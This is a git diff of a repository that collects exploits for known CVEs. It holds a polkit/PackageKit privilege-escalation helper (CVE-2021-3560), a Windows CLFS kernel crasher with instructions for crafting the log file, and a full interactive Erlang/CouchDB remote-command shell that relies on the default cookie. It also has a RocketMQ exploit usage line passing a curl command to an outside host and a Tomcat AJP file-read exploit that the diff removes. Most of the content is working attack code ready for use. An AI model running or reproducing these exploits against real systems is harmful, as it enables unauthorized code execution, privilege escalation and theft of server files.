||||
On tested systems, simply running the python script results in the process being killed at the correct timing. If needed, you can add a 'time.sleep()' to the end of the script and the sleep & kill technique can be used for better timing.
|
||||
### Usage
|
||||
`python3 install.py 'full;package;id;here'`
|
||||
|
||||
|
||||
### Searching For Package IDs
|
||||
`search.py` is used to determine a full package id from a simple package name.
|
||||
|
||||
### Usage
|
||||
`python3 search.py package_name(s)`
|
16
00-CVE_EXP/cve-2021-3560/install.py
Normal file
@ -0,0 +1,16 @@
|
||||
#usage: python3 install.py 'full;package;id;here' 'another;package;id;here'
|
||||
|
||||
import sys
|
||||
import dbus
|
||||
|
||||
system_bus = dbus.SystemBus()
|
||||
|
||||
pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
|
||||
pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit")
|
||||
|
||||
pk_transaction = pk_interface.CreateTransaction()
|
||||
|
||||
pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction)
|
||||
pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction")
|
||||
|
||||
pk_transaction_interface.InstallPackages(2,sys.argv[1:])
|
30
00-CVE_EXP/cve-2021-3560/search.py
Normal file
@ -0,0 +1,30 @@
|
||||
#usage: python search.py packagename [more package names]
|
||||
|
||||
import sys
|
||||
import dbus
|
||||
from dbus.mainloop.glib import DBusGMainLoop
|
||||
from gi.repository import GLib
|
||||
|
||||
def package_sh(*args, **kwargs):
|
||||
print(args[1])
|
||||
|
||||
def destroy_sh(*args, **kwargs):
|
||||
loop.quit()
|
||||
|
||||
DBusGMainLoop(set_as_default=True)
|
||||
system_bus = dbus.SystemBus()
|
||||
|
||||
pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
|
||||
pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit")
|
||||
|
||||
pk_transaction = pk_interface.CreateTransaction()
|
||||
|
||||
pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction)
|
||||
pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction")
|
||||
|
||||
pk_transaction_interface.connect_to_signal('Package',package_sh)
|
||||
pk_transaction_interface.connect_to_signal('Destroy', destroy_sh)
|
||||
GLib.timeout_add(500, pk_transaction_interface.SearchNames, 0,sys.argv[1:])
|
||||
|
||||
loop = GLib.MainLoop()
|
||||
loop.run()
|
56
00-CVE_EXP/cve-2021-36955/README.md
Normal file
@ -0,0 +1,56 @@
|
||||
# cve-2021-36955
|
||||
|
||||
## Vulnerability Info
|
||||
https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/
|
||||
|
||||
## PoC Crasher
|
||||
### Overview
|
||||
The proof-of-concept is very simple, just code to open and close a log file, using `CreateLogFile()` and `CloseHandle()`.
|
||||
|
||||
If the log file `test_log.blf` does NOT exist it will be created.
|
||||
If the log file `test_log.blf` does exist, then the existing file will be opened.
|
||||
|
||||
The file `test_log_crafted.blf` has been modified, such that when opened by `CreateLogFile()`, it will trigger the vulnerability on unpatched systems. The provided proof-of-concept causes a double free when `CloseHandle()` is called, resulting in a BSOD for a BAD_POOL_HEADER.
|
||||
|
||||
### BLF Layout
|
||||
|
||||
The first 0x200 bytes of test_log.blf are the important bytes. Most of these bytes are 0's (as with the rest of a default newly created file), and only matter for the purposes of the checksum.
|
||||
|
||||
These bytes make up a CLFS_RECORD_HEADER and a CLFS_CONTROL_RECORD.
|
||||

|
||||
(Screenshots are taken of the [010 Editor](https://www.sweetscape.com/010editor/))
|
||||
|
||||
#### Crafting the CLFS_CONTROL_RECORD
|
||||
The following fields are changed from the default value of 0 to meet the conditions described in the [referenced blog post](https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/)
|
||||
- `eExtendState` -> 2
|
||||
- `iExtendBlock` -> 2
|
||||
- `iFlushBlock` -> 3
|
||||
- `cNewBlockSectors` -> 3
|
||||
|
||||
After updating these fields, the checksum needs to be updated
|
||||
The result looks like (the changed bytes are colored orange):
|
||||

|
||||
|
||||
##### Checksum Notes
|
||||
The checksum is calculated over the first 0x200 bytes, with the checksum field zeroed out.
|
||||
|
||||
[Alex Ionescu documents](https://github.com/ionescu007/clfs-docs) that the CRC32 polynomial is `0x04C11DB7`.
|
||||
However, after some experimentation with the 010 Editor's CRC32 tool and referencing [Michaelangel007's notes](https://github.com/Michaelangel007/crc32) the checksum can be replicated using the 'reverse' fixed polynomial `0xEDB88320`.
|
||||
(This is the same polynomial, just flipped around from the perspective of 010 Editor's CRC32 implementation.)
|
||||
|
||||
|
||||
## Files
|
||||
- [scripts](./scripts)
|
||||
- [BLF.bt](./scripts/BLF.bt)
|
||||
A partial 010 Editor Template for BLF files
|
||||
- [BLF_Checksum.1sc](./scripts/BLF_Checksum.1sc)
|
||||
A 010 Editor Script for updating the Control Record Header checksum.
|
||||
This script should be used after the `BLF.bt` template has been applied to the file.
|
||||
- [src](./src)
|
||||
- [poc.c](./src/poc.c)
|
||||
A simple C program to open and close a log file.
|
||||
- [Makefile](./src/Makefile)
|
||||
A simple Makefile with the gcc invocation used to compile `poc.exe`
|
||||
MinGW is used to compile on Windows.
|
||||
- [test_log_crafted.blf](./src/test_log_crafted.blf)
|
||||
a crafted version of a default BLF file created by running `poc.exe` without `test_log.blf` existing.
|
BIN
00-CVE_EXP/cve-2021-36955/screenshots/control_record.png
Normal file
After Width: | Height: | Size: 85 KiB |
BIN
00-CVE_EXP/cve-2021-36955/screenshots/crafted.png
Normal file
After Width: | Height: | Size: 83 KiB |
123
00-CVE_EXP/cve-2021-36955/scripts/BLF.bt
Normal file
@ -0,0 +1,123 @@
|
||||
//------------------------------------------------
|
||||
//--- 010 Editor v12.0.1 Binary Template
|
||||
//
|
||||
// File: BLF.bt
|
||||
// Authors:
|
||||
// Version:
|
||||
// Purpose: 010 Editor Template for Base Log Files (BLF),
|
||||
// used by the Windows CLFS
|
||||
// Category:
|
||||
// File Mask:
|
||||
// ID Bytes:
|
||||
// History:
|
||||
//------------------------------------------------
|
||||
typedef QWORD ULONGLONG;
|
||||
typedef QWORD PUCHAR;
|
||||
typedef DWORD CLFS_CLIENT_ID;
|
||||
|
||||
typedef QWORD CLFS_LSN;
|
||||
|
||||
|
||||
typedef struct _CLFS_RECORD_HEADER
|
||||
{
|
||||
UCHAR MajorVersion <format=hex>;
|
||||
UCHAR MinorVersion <format=hex>;
|
||||
UCHAR Usn <format=hex>;
|
||||
UCHAR StreamIndex <format=hex>;
|
||||
USHORT TotalSectorCount <format=hex>;
|
||||
USHORT ValidSectorCount <format=hex>;
|
||||
ULONG Padding;
|
||||
ULONG Checksum <format=hex>;
|
||||
ULONG Flags;
|
||||
ULONG Padding;
|
||||
CLFS_LSN CurrentLsn <format=hex>;
|
||||
CLFS_LSN NextLsn <format=hex>;
|
||||
ULONG RecordOffsets[16];
|
||||
ULONG SignaturesOffset;
|
||||
ULONG Padding;
|
||||
} CLFS_RECORD_HEADER;
|
||||
|
||||
|
||||
typedef enum <uint64> _CLFS_METADATA_BLOCK_TYPE
|
||||
{
|
||||
ClfsMetaBlockControl,
|
||||
ClfsMetaBlockControlShadow,
|
||||
ClfsMetaBlockGeneral,
|
||||
ClfsMetaBlockGeneralShadow,
|
||||
ClfsMetaBlockScratch,
|
||||
ClfsMetaBlockScratchShadow
|
||||
} CLFS_METADATA_BLOCK_TYPE;
|
||||
|
||||
typedef enum _CLFS_EXTEND_STATE
|
||||
{
|
||||
ClfsExtendStateNone,
|
||||
ClfsExtendStateExtendingFsd,
|
||||
ClfsExtendStateFlushingBlock
|
||||
} CLFS_EXTEND_STATE;
|
||||
|
||||
typedef enum _CLFS_TRUNCATE_STATE
|
||||
{
|
||||
ClfsTruncateStateNone,
|
||||
ClfsTruncateStateModifyingStream,
|
||||
ClfsTruncateStateSavingOwner,
|
||||
ClfsTruncateStateModifyingOwner,
|
||||
ClfsTruncateStateSavingDiscardBlock,
|
||||
ClfsTruncateStateModifyingDiscardBlock
|
||||
} CLFS_TRUNCATE_STATE;
|
||||
|
||||
typedef struct _CLFS_METADATA_RECORD_HEADER
|
||||
{
|
||||
ULONGLONG ullDumpCount;
|
||||
} CLFS_METADATA_RECORD_HEADER;
|
||||
|
||||
typedef struct _CLFS_METADATA_BLOCK
|
||||
{
|
||||
PUCHAR pbImage <format=hex>;
|
||||
ULONG cbImage <format=hex>;
|
||||
ULONG cbOffset <format=hex>;
|
||||
CLFS_METADATA_BLOCK_TYPE eBlockType;
|
||||
} CLFS_METADATA_BLOCK;
|
||||
|
||||
typedef struct _CLFS_TRUNCATE_CONTEXT
|
||||
{
|
||||
CLFS_TRUNCATE_STATE eTruncateState;
|
||||
CLFS_CLIENT_ID cClients;
|
||||
CLFS_CLIENT_ID iClient;
|
||||
CLFS_LSN lsnOwnerPage;
|
||||
CLFS_LSN lsnLastOwnerPage;
|
||||
ULONG cInvalidSector;
|
||||
} CLFS_TRUNCATE_CONTEXT;
|
||||
|
||||
|
||||
typedef struct _CLFS_CONTROL_RECORD
|
||||
{
|
||||
CLFS_METADATA_RECORD_HEADER hdrControlRecord;
|
||||
ULONGLONG ullMagicValue <format=hex>;
|
||||
UCHAR Version;
|
||||
UCHAR cReserved;
|
||||
UCHAR cReserved;
|
||||
UCHAR cReserved;
|
||||
CLFS_EXTEND_STATE eExtendState;
|
||||
USHORT iExtendBlock;
|
||||
USHORT iFlushBlock;
|
||||
ULONG cNewBlockSectors;
|
||||
ULONG cExtendStartSectors;
|
||||
ULONG cExtendSectors;
|
||||
CLFS_TRUNCATE_CONTEXT cxTruncate;
|
||||
USHORT cBlocks;
|
||||
USHORT cReserved;
|
||||
ULONG cReserved;
|
||||
CLFS_METADATA_BLOCK rgBlocks[cBlocks];
|
||||
} CLFS_CONTROL_RECORD;
|
||||
|
||||
|
||||
|
||||
CLFS_RECORD_HEADER CRRecordHeader;
|
||||
CLFS_CONTROL_RECORD ControlRecord;
|
||||
|
||||
FSeek(0x400);
|
||||
CLFS_RECORD_HEADER CRSRecordHeader;
|
||||
CLFS_CONTROL_RECORD ControlRecordShadow;
|
||||
|
||||
FSeek(0x800);
|
||||
CLFS_RECORD_HEADER GRecordHeader;
|
13
00-CVE_EXP/cve-2021-36955/scripts/BLF_Checksum.1sc
Normal file
@ -0,0 +1,13 @@
|
||||
//------------------------------------------------
|
||||
//--- 010 Editor v12.0.1 Script File
|
||||
//
|
||||
// File:
|
||||
// Authors:
|
||||
// Version:
|
||||
// Purpose:
|
||||
// Category:
|
||||
// History:
|
||||
//------------------------------------------------
|
||||
CRRecordHeader.Checksum = 0;
|
||||
uint checksum = Checksum(CHECKSUM_CRC32,0,0x400,0xEDB88320,0xFFFFFFFF);
|
||||
CRRecordHeader.Checksum = checksum;
|
3
00-CVE_EXP/cve-2021-36955/src/Makefile
Normal file
@ -0,0 +1,3 @@
|
||||
# Assumes MinGW is installed
|
||||
all: poc.c
|
||||
gcc poc.c -o poc.exe -lClfsw32
|
17
00-CVE_EXP/cve-2021-36955/src/poc.c
Normal file
@ -0,0 +1,17 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <clfsw32.h>
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
|
||||
HANDLE logHndl = CreateLogFile(L"LOG:test_log",
|
||||
GENERIC_WRITE | GENERIC_READ,
|
||||
0,
|
||||
NULL,
|
||||
OPEN_ALWAYS,
|
||||
0);
|
||||
|
||||
CloseHandle(logHndl);
|
||||
|
||||
return 0;
|
||||
}
|
BIN
00-CVE_EXP/cve-2021-36955/src/test_log_crafted.blf
Normal file
@ -0,0 +1,120 @@
|
||||
#!/usr/local/bin/python3
|
||||
|
||||
import socket
|
||||
from hashlib import md5
|
||||
import struct
|
||||
import sys
|
||||
import re
|
||||
import time
|
||||
|
||||
TARGET = ""
|
||||
EPMD_PORT = 4369 # Default Erlang distributed port
|
||||
COOKIE = "monster" # Default Erlang cookie for CouchDB
|
||||
ERLNAG_PORT = 0
|
||||
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
|
||||
|
||||
# Some data:
|
||||
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
|
||||
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
|
||||
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
|
||||
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
|
||||
|
||||
|
||||
def compile_cmd(CMD):
|
||||
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
|
||||
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
|
||||
MSG += struct.pack(">H", len(CMD))
|
||||
MSG += bytes(CMD, 'ascii')
|
||||
MSG += b'jw\x04user'
|
||||
PAYLOAD = b'\x70' + CTRL_DATA + MSG
|
||||
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
|
||||
return PAYLOAD
|
||||
|
||||
print("Remote Command Execution via Erlang Distribution Protocol.\n")
|
||||
|
||||
while not TARGET:
|
||||
TARGET = input("Enter target host:\n> ")
|
||||
|
||||
# Connect to EPMD:
|
||||
try:
|
||||
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
epm_socket.connect((TARGET, EPMD_PORT))
|
||||
except socket.error as msg:
|
||||
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
|
||||
sys.exit(1)
|
||||
|
||||
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
|
||||
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
|
||||
data = epm_socket.recv(1024)
|
||||
data = data[0:len(data) - 1].decode('ascii')
|
||||
data = data.split("\n")
|
||||
if len(data) == 1:
|
||||
choise = 1
|
||||
print("Found " + data[0])
|
||||
else:
|
||||
print("\nMore than one node found, choose which one to use:")
|
||||
line_number = 0
|
||||
for line in data:
|
||||
line_number += 1
|
||||
print(" %d) %s" %(line_number, line))
|
||||
choise = int(input("\n> "))
|
||||
|
||||
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
|
||||
else:
|
||||
print("Node list request error, exiting")
|
||||
sys.exit(1)
|
||||
epm_socket.close()
|
||||
|
||||
# Connect to Erlang port:
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((TARGET, ERLNAG_PORT))
|
||||
except socket.error as msg:
|
||||
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
|
||||
sys.exit(1)
|
||||
|
||||
s.send(NAME_MSG)
|
||||
s.recv(5) # Receive "ok" message
|
||||
challenge = s.recv(1024) # Receive "challenge" message
|
||||
challenge = struct.unpack(">I", challenge[9:13])[0]
|
||||
|
||||
#print("Extracted challenge: {}".format(challenge))
|
||||
|
||||
# Add Challenge Digest
|
||||
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
|
||||
+ bytes(str(challenge), "ascii")).digest()
|
||||
s.send(CHALLENGE_REPLY)
|
||||
CHALLENGE_RESPONSE = s.recv(1024)
|
||||
|
||||
if len(CHALLENGE_RESPONSE) == 0:
|
||||
print("Authentication failed, exiting")
|
||||
sys.exit(1)
|
||||
|
||||
print("Authentication successful")
|
||||
print("Enter command:\n")
|
||||
|
||||
data_size = 0
|
||||
while True:
|
||||
if data_size <= 0:
|
||||
CMD = input("> ")
|
||||
if not CMD:
|
||||
continue
|
||||
elif CMD == "exit":
|
||||
sys.exit(0)
|
||||
s.send(compile_cmd(CMD))
|
||||
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
|
||||
s.recv(45) # Control message
|
||||
data_size -= 45 # Data size without control message
|
||||
time.sleep(0.1)
|
||||
elif data_size < 1024:
|
||||
data = s.recv(data_size)
|
||||
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
|
||||
time.sleep(0.1)
|
||||
print(data.decode())
|
||||
data_size = 0
|
||||
else:
|
||||
data = s.recv(1024)
|
||||
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
|
||||
time.sleep(0.1)
|
||||
print(data.decode(),end = '')
|
||||
data_size -= 1024
|
@ -0,0 +1,24 @@
|
||||
|
||||
# CVE-2023-33246
|
||||
|
||||
## 影响版本
|
||||
Apache RocketMQ through 5.1.0
|
||||
|
||||
## 修复方案
|
||||
upgrade to version 5.1.1 above for using RocketMQ 5.x
|
||||
4.9.6 above for using RocketMQ 4.x
|
||||
|
||||
## check
|
||||
```python
|
||||
python check.py --ip 127.0.0.1
|
||||
```
|
||||
|
||||
## exp
|
||||
```python
|
||||
python check.py --file test.txt --attack --command "curl x.x.x.x"
|
||||
```
|
||||
利用带外显示结果
|
||||
|
||||
## 更新记录
|
||||
1. 重新优化check 和exp 脚本,合并功能
|
||||
2. 添加java 版本的检测程序
|
Before Width: | Height: | Size: 256 KiB |
Before Width: | Height: | Size: 30 KiB |
@ -1,15 +1,20 @@
|
||||
# 影响版本</br>
|
||||
Apache Tomcat 6</br>
|
||||
Apache Tomcat 7 < 7.0.100</br>
|
||||
Apache Tomcat 8 < 8.5.51</br>
|
||||
Apache Tomcat 9 < 9.0.31</br>
|
||||
# 漏洞复现</br>
|
||||
首先启动apache tamcat服务,访问localhost:8080可以成功访问如下界面
|
||||
</br>
|
||||
端口扫描发现8009 8080端口开启,证明有该漏洞。</br>
|
||||
接着利用POC文件CNVD-2020-10487-Tomcat-Ajp-lfi.py,注意执行环境为python 2。</br>
|
||||
命令为 python ./ CNVD-2020-10487-Tomcat-Ajp-lfi.py 本地ip –p 8009 –f WEB-INF/web.xml</br>
|
||||
执行成功后可以看到成功访问到该文件。</br>
|
||||
</br>
|
||||
# Apache-Tomcat-Ajp LFI
|
||||
## 漏洞编号
|
||||
CVE-2020-1938 / CNVD-2020-10487
|
||||
## 影响版本
|
||||
* Apache Tomcat 6
|
||||
* Apache Tomcat 7 < 7.0.100
|
||||
* Apache Tomcat 8 < 8.5.51
|
||||
* Apache Tomcat 9 < 9.0.31
|
||||
## 漏洞复现
|
||||
1. 启动apache tomcat服务,访问localhost:8080可以成功访问如下界面
|
||||

|
||||
2. 端口扫描发现8009 8080端口开启,同时上一步的截图中发现版本为`9.0.30` ,证明有该漏洞。
|
||||
3. 执行poc 脚本:
|
||||
```shell
|
||||
python exp.py http://localhost:8080/ 8009 /WEB-INF/web.xml read
|
||||
```
|
||||
4. 执行成功后可以看到成功访问到该文件
|
||||

|
||||
|
||||
|
||||
|
@ -1,302 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
#CNVD-2020-10487 Tomcat-Ajp lfi
|
||||
#by ydhcui
|
||||
import struct
|
||||
|
||||
# Some references:
|
||||
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
|
||||
def pack_string(s):
|
||||
if s is None:
|
||||
return struct.pack(">h", -1)
|
||||
l = len(s)
|
||||
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
|
||||
def unpack(stream, fmt):
|
||||
size = struct.calcsize(fmt)
|
||||
buf = stream.read(size)
|
||||
return struct.unpack(fmt, buf)
|
||||
def unpack_string(stream):
|
||||
size, = unpack(stream, ">h")
|
||||
if size == -1: # null string
|
||||
return None
|
||||
res, = unpack(stream, "%ds" % size)
|
||||
stream.read(1) # \0
|
||||
return res
|
||||
class NotFoundException(Exception):
|
||||
pass
|
||||
class AjpBodyRequest(object):
|
||||
# server == web server, container == servlet
|
||||
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
|
||||
MAX_REQUEST_LENGTH = 8186
|
||||
def __init__(self, data_stream, data_len, data_direction=None):
|
||||
self.data_stream = data_stream
|
||||
self.data_len = data_len
|
||||
self.data_direction = data_direction
|
||||
def serialize(self):
|
||||
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
|
||||
if len(data) == 0:
|
||||
return struct.pack(">bbH", 0x12, 0x34, 0x00)
|
||||
else:
|
||||
res = struct.pack(">H", len(data))
|
||||
res += data
|
||||
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
|
||||
header = struct.pack(">bbH", 0x12, 0x34, len(res))
|
||||
else:
|
||||
header = struct.pack(">bbH", 0x41, 0x42, len(res))
|
||||
return header + res
|
||||
def send_and_receive(self, socket, stream):
|
||||
while True:
|
||||
data = self.serialize()
|
||||
socket.send(data)
|
||||
r = AjpResponse.receive(stream)
|
||||
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
|
||||
r = AjpResponse.receive(stream)
|
||||
|
||||
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
|
||||
break
|
||||
class AjpForwardRequest(object):
|
||||
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
|
||||
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
|
||||
# server == web server, container == servlet
|
||||
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
|
||||
COMMON_HEADERS = ["SC_REQ_ACCEPT",
|
||||
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
|
||||
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
|
||||
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
|
||||
]
|
||||
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
|
||||
def __init__(self, data_direction=None):
|
||||
self.prefix_code = 0x02
|
||||
self.method = None
|
||||
self.protocol = None
|
||||
self.req_uri = None
|
||||
self.remote_addr = None
|
||||
self.remote_host = None
|
||||
self.server_name = None
|
||||
self.server_port = None
|
||||
self.is_ssl = None
|
||||
self.num_headers = None
|
||||
self.request_headers = None
|
||||
self.attributes = None
|
||||
self.data_direction = data_direction
|
||||
def pack_headers(self):
|
||||
self.num_headers = len(self.request_headers)
|
||||
res = ""
|
||||
res = struct.pack(">h", self.num_headers)
|
||||
for h_name in self.request_headers:
|
||||
if h_name.startswith("SC_REQ"):
|
||||
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
|
||||
res += struct.pack("BB", 0xA0, code)
|
||||
else:
|
||||
res += pack_string(h_name)
|
||||
|
||||
res += pack_string(self.request_headers[h_name])
|
||||
return res
|
||||
|
||||
def pack_attributes(self):
|
||||
res = b""
|
||||
for attr in self.attributes:
|
||||
a_name = attr['name']
|
||||
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
|
||||
res += struct.pack("b", code)
|
||||
if a_name == "req_attribute":
|
||||
aa_name, a_value = attr['value']
|
||||
res += pack_string(aa_name)
|
||||
res += pack_string(a_value)
|
||||
else:
|
||||
res += pack_string(attr['value'])
|
||||
res += struct.pack("B", 0xFF)
|
||||
return res
|
||||
def serialize(self):
|
||||
res = ""
|
||||
res = struct.pack("bb", self.prefix_code, self.method)
|
||||
res += pack_string(self.protocol)
|
||||
res += pack_string(self.req_uri)
|
||||
res += pack_string(self.remote_addr)
|
||||
res += pack_string(self.remote_host)
|
||||
res += pack_string(self.server_name)
|
||||
res += struct.pack(">h", self.server_port)
|
||||
res += struct.pack("?", self.is_ssl)
|
||||
res += self.pack_headers()
|
||||
res += self.pack_attributes()
|
||||
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
|
||||
header = struct.pack(">bbh", 0x12, 0x34, len(res))
|
||||
else:
|
||||
header = struct.pack(">bbh", 0x41, 0x42, len(res))
|
||||
return header + res
|
||||
def parse(self, raw_packet):
|
||||
stream = StringIO(raw_packet)
|
||||
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
|
||||
self.prefix_code, self.method = unpack(stream, "bb")
|
||||
self.protocol = unpack_string(stream)
|
||||
self.req_uri = unpack_string(stream)
|
||||
self.remote_addr = unpack_string(stream)
|
||||
self.remote_host = unpack_string(stream)
|
||||
self.server_name = unpack_string(stream)
|
||||
self.server_port = unpack(stream, ">h")
|
||||
self.is_ssl = unpack(stream, "?")
|
||||
self.num_headers, = unpack(stream, ">H")
|
||||
self.request_headers = {}
|
||||
for i in range(self.num_headers):
|
||||
code, = unpack(stream, ">H")
|
||||
if code > 0xA000:
|
||||
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
|
||||
else:
|
||||
h_name = unpack(stream, "%ds" % code)
|
||||
stream.read(1) # \0
|
||||
h_value = unpack_string(stream)
|
||||
self.request_headers[h_name] = h_value
|
||||
def send_and_receive(self, socket, stream, save_cookies=False):
|
||||
res = []
|
||||
i = socket.sendall(self.serialize())
|
||||
if self.method == AjpForwardRequest.POST:
|
||||
return res
|
||||
|
||||
r = AjpResponse.receive(stream)
|
||||
assert r.prefix_code == AjpResponse.SEND_HEADERS
|
||||
res.append(r)
|
||||
if save_cookies and 'Set-Cookie' in r.response_headers:
|
||||
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
|
||||
|
||||
# read body chunks and end response packets
|
||||
while True:
|
||||
r = AjpResponse.receive(stream)
|
||||
res.append(r)
|
||||
if r.prefix_code == AjpResponse.END_RESPONSE:
|
||||
break
|
||||
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
|
||||
continue
|
||||
else:
|
||||
raise NotImplementedError
|
||||
break
|
||||
|
||||
return res
|
||||
|
||||
class AjpResponse(object):
|
||||
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
|
||||
COMMON_SEND_HEADERS = [
|
||||
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
|
||||
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
|
||||
]
|
||||
def parse(self, stream):
|
||||
# read headers
|
||||
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
|
||||
|
||||
if self.prefix_code == AjpResponse.SEND_HEADERS:
|
||||
self.parse_send_headers(stream)
|
||||
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
|
||||
self.parse_send_body_chunk(stream)
|
||||
elif self.prefix_code == AjpResponse.END_RESPONSE:
|
||||
self.parse_end_response(stream)
|
||||
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
|
||||
self.parse_get_body_chunk(stream)
|
||||
else:
|
||||
raise NotImplementedError
|
||||
|
||||
def parse_send_headers(self, stream):
|
||||
self.http_status_code, = unpack(stream, ">H")
|
||||
self.http_status_msg = unpack_string(stream)
|
||||
self.num_headers, = unpack(stream, ">H")
|
||||
self.response_headers = {}
|
||||
for i in range(self.num_headers):
|
||||
code, = unpack(stream, ">H")
|
||||
if code <= 0xA000: # custom header
|
||||
h_name, = unpack(stream, "%ds" % code)
|
||||
stream.read(1) # \0
|
||||
h_value = unpack_string(stream)
|
||||
else:
|
||||
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
|
||||
h_value = unpack_string(stream)
|
||||
self.response_headers[h_name] = h_value
|
||||
|
||||
def parse_send_body_chunk(self, stream):
|
||||
self.data_length, = unpack(stream, ">H")
|
||||
self.data = stream.read(self.data_length+1)
|
||||
|
||||
def parse_end_response(self, stream):
|
||||
self.reuse, = unpack(stream, "b")
|
||||
|
||||
def parse_get_body_chunk(self, stream):
|
||||
rlen, = unpack(stream, ">H")
|
||||
return rlen
|
||||
|
||||
@staticmethod
|
||||
def receive(stream):
|
||||
r = AjpResponse()
|
||||
r.parse(stream)
|
||||
return r
|
||||
|
||||
import socket
|
||||
|
||||
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
|
||||
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
|
||||
fr.method = method
|
||||
fr.protocol = "HTTP/1.1"
|
||||
fr.req_uri = req_uri
|
||||
fr.remote_addr = target_host
|
||||
fr.remote_host = None
|
||||
fr.server_name = target_host
|
||||
fr.server_port = 80
|
||||
fr.request_headers = {
|
||||
'SC_REQ_ACCEPT': 'text/html',
|
||||
'SC_REQ_CONNECTION': 'keep-alive',
|
||||
'SC_REQ_CONTENT_LENGTH': '0',
|
||||
'SC_REQ_HOST': target_host,
|
||||
'SC_REQ_USER_AGENT': 'Mozilla',
|
||||
'Accept-Encoding': 'gzip, deflate, sdch',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Upgrade-Insecure-Requests': '1',
|
||||
'Cache-Control': 'max-age=0'
|
||||
}
|
||||
fr.is_ssl = False
|
||||
fr.attributes = []
|
||||
return fr
|
||||
|
||||
class Tomcat(object):
|
||||
def __init__(self, target_host, target_port):
|
||||
self.target_host = target_host
|
||||
self.target_port = target_port
|
||||
|
||||
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
